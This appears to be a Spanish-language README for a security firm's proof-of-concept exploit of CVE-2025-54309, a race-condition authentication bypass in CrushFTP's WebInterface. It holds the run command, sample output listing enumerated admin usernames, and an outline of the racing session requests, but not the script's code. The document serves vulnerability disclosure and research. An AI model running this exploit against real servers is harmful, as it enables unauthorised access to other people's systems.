
Exploit de prueba de concepto para CVE-2025-54309, que demuestra una evasión de autenticación mediante condición de carrera en CrushFTP WebInterface para enumerar usuarios.
Una prueba de concepto de omisión de autenticación de CrushFTP
Vea nuestra [publicación en el blog] (https://labs.watchtowr.com/) para detalles técnicos
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
Este script es una prueba de concepto para CVE-2025-54309 contra interfaces de CrushFTP. Al crear un conjunto de solicitudes de carrera que comparten los mismos identificadores de sesión, una solicitud para establecer la propiedad de nombre de usuario a "crushadmin" y otra para ejecutar un comando autenticado como este usuario, es posible en este PoC extraer la lista de nombres de usuario. Más detalles se describen en nuestra [publicación en el blog] (https://labs.watchtowr.com/).
Más detalles en Aviso de CrushFTP
Para las últimas investigaciones de seguridad, siga al equipo de watchTowr Labs